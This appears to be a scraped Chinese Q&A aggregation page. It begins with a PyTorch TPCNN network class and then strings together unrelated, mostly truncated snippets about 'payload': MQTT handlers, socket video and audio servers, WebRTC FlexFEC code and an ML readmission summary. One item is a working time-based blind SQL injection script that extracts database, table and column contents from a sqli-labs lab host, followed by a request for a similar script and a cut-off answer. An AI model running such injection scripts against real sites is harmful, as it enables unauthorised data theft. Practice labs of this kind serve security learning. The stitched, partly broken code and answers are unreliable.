class TPCNN(nn.Module): def __init__(self, num_class=10, head_payload=False): super(TPCNN, self).__init__() # 上 self.uconv1 = nn.Sequential( # nn.Conv2d(1, 16, kernel_size=3, stride=1, padding=1, dilation=1, bias=True), nn.BatchNorm2d(16, eps=1e-05, momentum=0.9, affine=True), nn.ReLU(), ) self.uconv2 = nn.Sequential( # nn.Conv2d(16, 32, kernel_size=3, stride=2, padding=1, dilation=1, bias=True), nn.BatchNorm2d(32, eps=1e-05, momentum=0.9, affine=True), nn.ReLU(), ) # 中 self.mconv1 = nn.Sequential( # nn.Conv2d(1, 32, kernel_size=3, stride=2, padding=1, dilation=1, bias=True), nn.BatchNorm2d(32, eps=1e-05, momentum=0.9, affine=True), nn.ReLU(), ) # 下 self.dconv1 = nn.Sequential( # nn.Conv2d(1, 32, kernel_size=3, stride=1, padding=1, dilation=1, bias=True), nn.BatchNorm2d(32, eps=1e-05, momentum=0.9, affine=True), nn.ReLU(), nn.MaxPool2d(kernel_size=2) ) self.uconv3 = nn.Sequential( # nn.Conv2d(96, 128, kernel_size=3, stride=1, padding=1, dilation=1, bias=True), nn.BatchNorm2d(128, eps=1e-05, momentum=0.9, affine=True), nn.ReLU(), ) self.mconv2 = nn.Sequential( # nn.Conv2d(96, 128, kernel_size=3, stride=2, padding=1, dilation=1, bias=True), nn.BatchNorm2d(128, eps=1e-05, momentum=0.9, affine=True), nn.ReLU(), ) self.dconv2 = nn.Sequential( # nn.Conv2d(96, 128, kernel_size=3, stride=1, padding=1, dilation=1, bias=True), nn.BatchNorm2d(128, eps=1e-05, momentum=0.9, affine=True), nn.ReLU(), ) self.uconv4 = nn.Sequential( # nn.Conv2d(256, 512, kernel_size=3, stride=2, padding=1, dilation=1, bias=True), nn.BatchNorm2d(512, eps=1e-05, momentum=0.9, affine=True), nn.ReLU(), ) self.globalconv1 = nn.Sequential( nn.Conv2d(896, 1024, kernel_size=3, stride=1, padding=1), nn.BatchNorm2d(1024, eps=1e-05, momentum=0.9, affine=True), nn.ReLU() ) self.dmaxpool = nn.MaxPool2d(kernel_size=2,padding=1) # self.lstm1 = nn.LSTM(256,512, 2) # self.lstm2 = nn.LSTM(self.i_size*2,self.i_size*2, 2) self.avpool = nn.AdaptiveAvgPool2d(2) # self.globallstm = nn.LSTM(512, 256, 1) self.fc1 = nn.Linear(1024*2*2, 512) self.fc2 = nn.Linear(512, num_class)

时间: 2023-06-08 12:04:07 浏览: 200
RAR

USB_Video_Payload_DV_1.1.rar_The Class_usb video class

这段代码定义了一个名为TPCNN的类，继承自nn.Module。它具有一个num_class参数，默认值为10，以及一个head_payload参数，其默认值为False。在__init__函数中，它首先调用父类的构造函数，然后定义了该类的其余属性和方法。
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dhcpv6.rar_HIY_Payload_dhcpv6 实现方法

这个“dhcpv6.rar HIY Payload dhcpv6 实现方法”压缩包文件主要关注的是DHCPv6客户端的Payload结构及其实现方法。Payload在DHCPv6报文中承载了具体的数据，比如请求或应答中的配置参数。 在DHCPv6协议中，Payload...

container_name + num1 = payload.get('name_')

payload.get('name_')是一个Python字典操作，get方法用于获取指定键（在这个例子中是前缀为'name_'的键）对应的值。如果该键存在，get会返回相应的值；如果不存在，get会返回None（默认值）或你指定的第二...

分析如下代码： event_out.timestamp = struct.unpack('q', self.pb_log_file_handle.read(8))[0] / 1000.0 event_out.topic = self.pb_log_file_handle.read(topic_size[0]).decode() event_out.payload = self.pb_log_file_handle.read(pb_size[0])

- 第三行代码使用read方法从文件中读取指定长度的字节数据，并将其直接赋值给event_out对象的payload属性。这个属性表示负载数据。 请注意，代码中的变量topic_size和pb_size在代码片段中未给出，可能在...

分析这个函数： def read_one(self, event_out: PBEvent) -> bool: """ read one protobuf msg from .pblog file :param event_out: {"timestamp": 0.0, "topic": "", "payload": bytes()} :return: True/False """ try: topic_size = struct.unpack('i', self.pb_log_file_handle.read(4)) pb_size = struct.unpack('i', self.pb_log_file_handle.read(4)) """ PBEvent赋值位置， PBlog在此解码 """ event_out.timestamp = struct.unpack('q', self.pb_log_file_handle.read(8))[0] / 1000.0 event_out.topic = self.pb_log_file_handle.read(topic_size[0]).decode() event_out.payload = self.pb_log_file_handle.read(pb_size[0]) except IOError as e: return False return True

- 最后，函数从文件中读取指定长度的字节数据，根据之前读取的负载大小进行读取，并将其直接赋值给event_out对象的payload属性，表示负载数据。 - 如果在读取过程中发生IOError异常，函数会捕获异常并返回False...

修改代码使其能动态调整分辨率 def run(self): self.sock.bind(self.ADDR) self.sock.listen() print('视频服务器已经启动...') print(f'\n工作地址是：{self.ADDR}') conn,addr = self.sock.accept() print(f'\n接受了远程视频客户端{addr}的连接...') data = "".encode("utf-8") payload_size = struct.calcsize("L") cv2.namedWindow('Remote',cv2.WINDOW_AUTOSIZE) while True: cap = cv2.VideoCapture(0) # 动态调整画面分辨率 width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) if width > 800: scale_percent = 50 # 缩小画面尺寸 new_width = int(width * scale_percent / 100) new_height = int(height * scale_percent / 100) frame = cv2.resize(frame, (new_width, new_height), interpolation=cv2.INTER_AREA) while len(data)<payload_size: data+=conn.recv(81920) packed_size = data[:payload_size] data = data[payload_size:] msg_size = struct.unpack("L",packed_size)[0] while len(data) < msg_size: data += conn.recv(81920) zframe_data = data[:msg_size] data = data[msg_size:] frame_data = zlib.decompress(zframe_data) #解压数据 frame = pickle.loads(frame_data) #还原 cv2.imshow('Remote',frame) if cv2.waitKey(1) & 0xFF ==27: break

def run(self): self.sock.bind(self.ADDR) self.sock.listen() print('视频服务器已经启动...') print(f'\n工作地址是：{self.ADDR}') conn, addr = self.sock.accept() print(f'\n接受了远程视频客户端{addr...

分析代码的作用：def on_message(client,userdata,msg): recv_dict=json.loads(msg.payload) img_data=np.array(recv_dict["data"]) result=classify_flower(recv_dict["filename"],img_data) client.publish("Group_04/IMAGE/predict",json.dumps(result))

首先，它使用json.loads()函数将msg.payload转换为一个字典对象，存储在recv_dict变量中。 然后，它从recv_dict字典中获取名为"data"的键对应的值，并将其转换为一个Numpy数组对象，存储在img_data变量中...

nested exception is javax.mail.AuthenticationFailedException: 454 Authentication failed(WRONG_PASSWORD_ERR)

part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header("Content-Disposition", "attachment; filename= " + filename) message.attach(part) # 连接到SMTP服务器并发送电子邮件 ...

遍历XHR请求并打印payload network_logs = self.driver.execute_script("return performance.getEntries()") 遍历XHR请求并打印payload

当你使用 self.driver.execute_script() 这个命令执行这段代码时，它会在当前会话的上下文中运行 JavaScript，返回一个包含所有网络请求的数组。 要遍历这些请求并打印 payload（通常是指 HTTP 请求的主体内容）...

async def Safe_5Gaction(client, userdata, msg): global message_received message_received = False async with Client(server) as client: async with client.filtered_messages(PosAttSub) as messages: await client.subscribe(PosAttSub) while True: try: message = await asyncio.wait_for(msg.__anext__(), timeout=5) message_received = True Msg = json.loads(msg.payload) # 将接收的订阅消息转换为字典格式 print(Msg) except asyncio.TimeoutError: if not message_received: DroneName = DroneSeries_to_num(Msg['Drone']) Safe_Pub_Msg = jsonstr_transform.GS_CMD_Pub(DroneName, 'Land') print(Safe_Pub_Msg) mqtt.push(CMDPub, Safe_Pub_Msg) csv_record.q_allmsg_csv_send(Safe_Pub_Msg, q_allmsg) time.sleep(5) else: message_received = False 代码报错RuntimeWarning: coroutine 'Safe_5Gaction' was never awaited callback(self, self._userdata, message) RuntimeWarning: Enable tracemalloc to get the object allocation traceback。如何解决

这个错误提示告诉我们 "coroutine 'Safe_5Gaction' was never awaited"，意味着在代码中没有等待 Safe_5Gaction 这个协程的执行。要解决这个问题，你需要在调用 Safe_5Gaction 的地方使用 await 来等待它的...

修改代码使其能判定出男生和女生的声音并进行变音 def run(self): global TERMINATE self.sock.bind(self.ADDR) self.sock.listen() print('音频服务器开始启动...') print(f'工作地址：{self.ADDR}') conn,addr = self.sock.accept() print(f'\n接受了远程音频客户端{addr}的连接...') data = "".encode("utf-8") payload_size = struct.calcsize("L") self.stream = self.p.open(format = FORMAT, channels = CHANNELS, rate = RATE, output=True, frames_per_buffer=CHUNK) while True: if TERMINATE: self.sock.close() break while len(data) < payload_size: data += conn.recv(81920) packed_size = data[:payload_size] data = data[payload_size:] msg_size = struct.unpack("L",packed_size)[0] while len(data)<msg_size: data += conn.recv(81920) frame_data = data[:msg_size] data = data[msg_size:] frames = pickle.loads(frame_data) for frame in frames: self.stream.write(frame,CHUNK)

def run(self): global TERMINATE self.sock.bind(self.ADDR) self.sock.listen() print('音频服务器开始启动...') print(f'工作地址：{self.ADDR}') conn,addr = self.sock.accept() print(f'\n接受了远程...

import time import requests def get_data_len(url, data_payload): length = 1 while True: data = f"id=1' and if(LENGTH({data_payload})>{length},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: length += 1 else: break return length def get_ASCII(url, ascii_payload): ascii_value = '' for i in range(1, len(ascii_payload) + 1): left = 32 right = 126 while left <= right: mid = left + (right - left) // 2 data = f"id=1' and if(ASCII(SUBSTRING({ascii_payload}, {i}, 1))>{mid},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: left = mid + 1 else: right = mid - 1 ascii_value += chr(left) return ascii_value def get_schema_name(url): len = get_data_len(url, 'database()') print('获取数据库名字') db_name = get_ASCII(url, f'substr(database(),1,{len})') print(db_name) def get_table_name(url): table_name = get_ASCII(url, '(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())') print(table_name) def get_column_names(url, table_name): column_names = get_ASCII(url, f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')") print(column_names) def get_column_data(url, table_name, column_name): column_data = get_ASCII(url, f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})") print(column_data) url = "http://192.168.124.128/sqli-labs-master/Less-9/??id=1/" print('开始') get_schema_name(url) print() get_table_name(url) get_column_names(url,'emails') table_name = 'emails' column_name = 'email_id' get_column_data(url, table_name, column_name)帮我写个类似这样的python时间盲注脚本

def __init__(self, url, sleep_time=0.5): self.url = url self.sleep_time = sleep_time def make_request(self, payload): data = {"id": f"1' AND {payload} AND '1'='1"} start_time = time.time() ...

Exploit requirement(s) not met: ua_ver. For more info

在Exploit模块中，ua_ver通常是指目标系统上使用的浏览器的版本信息，用于判断漏洞是否存在，并选择合适的攻击载荷（payload）进行利用。如果目标系统的浏览器版本与Exploit模块所需的版本不一致，就会出现这个错误...

为这段代码注释from PIL import Image import hashlib import requests import json import certifi import os image_url = "xxxxxxxx" response = requests.get(image_url) if response.status_code == 200: image_path = 'original_image.jpg' with open(image_path, 'wb') as f: f.write(response.content) owner_info = "XXXXXXX" else: raise Exception("Unable to download image") blockchain_api_url = "XXXXXXXXXXXXXXXXXXX" payload = {"text": owner_info} response = requests.post(blockchain_api_url, data=json.dumps(payload)) if response.status_code == 200: encrypted_data = response.json()["data"] else: raise Exception("Unable to encrypt data using blockchain API") response = requests.get(blockchain_api_url + f"/{encrypted_data}") if response.status_code == 200: decrypted_data = response.json()["text"] else: raise Exception("Unable to decrypt data using blockchain API") def encrypt_image(image_path, key): img = Image.open(image_path).convert('RGB') pixels = img.load() width, height = img.size key = hashlib.sha256(key.encode()).digest() key_parts = [key[i:i+3] for i in range(0, len(key), 3)] for x in range(width): for y in range(height): r, g, b = pixels[x, y] r = r ^ key_parts[x % len(key_parts)][0] g = g ^ key_parts[y % len(key_parts)][1] b = b ^ key_parts[(x+y) % len(key_parts)][2] pixels[x, y] = (r, g, b) img.save(image_path.replace('.jpg', '_encrypted.jpg')) os.environ['REQUESTS_CA_BUNDLE'] = certifi.where() encrypt_image(image_path, decrypted_data)

def encrypt_image(image_path, key): # 打开图片并转换为RGB模式 img = Image.open(image_path).convert('RGB') pixels = img.load() # 获取像素数据 width, height = img.size # 获取图片的宽和高 # 对密钥...

cam.MV_CC_GetIntValue("PayloadSize", stParam)解释

其中，cam是指相机对象，MV_CC_GetIntValue是获取相机参数值的方法，"PayloadSize"是指相机参数的名称，stParam是用于返回获取的参数值的结构体。该方法的作用是获取相机中图像数据的大小，以便在程序中分配合适大小...

import paho.mqtt.client as ph_mqtt_clt

print(msg.topic+" "+str(msg.payload)) client = mqtt.Client() client.on_connect = on_connect client.on_message = on_message client.connect("broker.hivemq.com", 1883, 60) # 循环处理MQTT消息 client....

// TODO(eladalon): Consider using packet.recovered() to avoid processing // recovered packets here. std::unique_ptrForwardErrorCorrection::ReceivedPacket FlexfecReceiver::AddReceivedPacket(const RtpPacketReceived& packet) { RTC_DCHECK_RUN_ON(&sequence_checker_); // RTP packets with a full base header (12 bytes), but without payload, // could conceivably be useful in the decoding. Therefore we check // with a non-strict inequality here. RTC_DCHECK_GE(packet.size(), kRtpHeaderSize); // Demultiplex based on SSRC, and insert into erasure code decoder. std::unique_ptrForwardErrorCorrection::ReceivedPacket received_packet( new ForwardErrorCorrection::ReceivedPacket()); received_packet->seq_num = packet.SequenceNumber(); received_packet->ssrc = packet.Ssrc(); if (received_packet->ssrc == ssrc_) { // This is a FlexFEC packet. if (packet.payload_size() < kMinFlexfecHeaderSize) { RTC_LOG(LS_WARNING) << "Truncated FlexFEC packet, discarding."; return nullptr; } received_packet->is_fec = true; ++packet_counter_.num_fec_packets; // Insert packet payload into erasure code. received_packet->pkt = rtc::scoped_refptr<ForwardErrorCorrection::Packet>( new ForwardErrorCorrection::Packet()); received_packet->pkt->data = packet.Buffer().Slice(packet.headers_size(), packet.payload_size()); } else { // This is a media packet, or a FlexFEC packet belonging to some // other FlexFEC stream. if (received_packet->ssrc != protected_media_ssrc_) { return nullptr; } received_packet->is_fec = false; // Insert entire packet into erasure code. // Create a copy and fill with zeros all mutable extensions. received_packet->pkt = rtc::scoped_refptr<ForwardErrorCorrection::Packet>( new ForwardErrorCorrection::Packet()); RtpPacketReceived packet_copy(packet); packet_copy.ZeroMutableExtensions(); received_packet->pkt->data = packet_copy.Buffer(); } ++packet_counter_.num_packets; return received_packet; } 各行意义

- 第9行：将数据包的序列号赋值给received_packet的seq_num成员变量。 - 第10行：将数据包的SSRC赋值给received_packet的ssrc成员变量。 - 第11行：如果received_packet的ssrc和当前接收器的ssrc相等，则表示这是一...

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AttributeError: 'tuple' object has no attribute 'part_of_payload'

AttributeError: 'tuple' object has no attribute 'part_of_payload'的错误是由于在使用元组对象时，尝试访问了该元组对象不存在的属性'part_of_payload'导致的。 有可能是在代码中对元组对象进行了错误的操作或...

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前端在 JSON 文件中通常不会直接写模板，并且 JSON 格式本身是基于键值对的，不支持换行和空格的保留。JSON 是一种数据交换格式，它要求数据结构紧凑、易于解析。如果你需要在前端显示模板内容，推荐使用 JavaScript 的模板字符串 (Template literals) 或者 Handlebars、Mustache 等前端模板引擎。 当你想在文本框中显示 JSON 数据时，会先将 JSON 转换成 HTML 可渲染的内容。例如： ```javascript let jsonData = { "template": "这是一个<br>换行示例", "text": "这是文
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机器学习在医院再入院率预测中的应用分析

资源摘要信息:"readmission-prediction:使用机器学习方法预测医院入院率" 1. 机器学习在医疗领域的应用 机器学习技术在医疗领域具有广泛的应用潜力，特别是在疾病的预测、诊断、治疗方案的制定以及患者的管理等方面。本项目专注于使用机器学习方法来预测糖尿病患者的医院再入院率，这是医疗数据科学中的一个重要分支，其目的是为了优化医疗资源的分配，降低医疗成本，以及提升患者的生活质量。 2. 糖尿病患者再入院率的预测 糖尿病是一种常见的慢性疾病，患者需要长期管理和监控。然而，即使在管理得当的情况下，糖尿病患者仍可能因为并发症或其他健康问题而需要再次入院治疗。通过机器学习技术，可以分析患者的医疗记录、生活习惯、治疗响应等数据，以预测哪些患者存在高风险的再次入院可能性。 3. 数据集与数据处理 本项目中所使用的数据集是公开可获得的，这使得其他研究者或开发者可以复制或扩展这项研究。数据预处理是机器学习项目中的关键步骤，它包括清洗数据（如处理缺失值、异常值）、数据标准化或归一化、特征选择（确定哪些变量对于预测模型最为重要）、数据转换（如编码分类变量）等。 4. Jupyter Notebook的使用 Jupyter Notebook是一个开源的Web应用程序，允许创建和共享包含代码、可视化和解释性文本的文档，非常适合于数据分析、机器学习、统计建模等工作。在本项目中，Jupyter Notebook被用作演示和解释数据预处理和模型构建过程的工具。它也方便了结果的可视化展示，比如绘制各种图表和图形，以直观地展示模型的性能和预测结果。 5. 机器学习建模 机器学习模型的构建是通过选择适当的算法来完成的，可能包括决策树、随机森林、支持向量机、神经网络等。在建模过程中，需要对算法进行训练和验证，通常使用交叉验证的方法来评估模型的泛化能力。最终的模型需要在测试集上进行评估，以确保其准确性和可靠性。 6. 输出文件的生成 生成的最终输出文件可能包括模型的性能指标（如准确率、召回率、F1分数等）、关键特征的重要性排名、预测结果的可视化展示等。这些输出文件对于理解模型的预测能力以及将模型应用于实际医疗决策中都至关重要。 7. 项目团队与贡献 项目的成功往往需要一个跨学科的团队合作。这样的团队可能包括数据科学家、医疗专家、软件开发人员等。每个成员都根据自己的专业背景贡献于项目的不同方面，共同完成从数据收集、处理到模型构建和验证的全过程。 8. 教程与文档 本项目还包含详细说明和教程，这为学习者和使用者提供了宝贵的学习资源。通过阅读这些文档，用户不仅能够理解项目的实施步骤，还能学会如何应用机器学习技术于解决实际问题。这些教程可能是以文本、图表、代码注释等多种形式存在。 9. 开源精神与学术诚信 通过公开数据集和代码，本项目体现了开源精神，促进了知识共享和技术进步。这同时也强调了学术诚信的重要性，确保了研究成果的透明度和可验证性。 综上所述，本项目通过综合运用数据科学和机器学习方法，提供了一个预测糖尿病患者再入院率的有效框架，这对于医疗行业具有重要的实践意义和潜在的经济效益。通过开源的方式，也促进了相关知识的普及和技术的传播。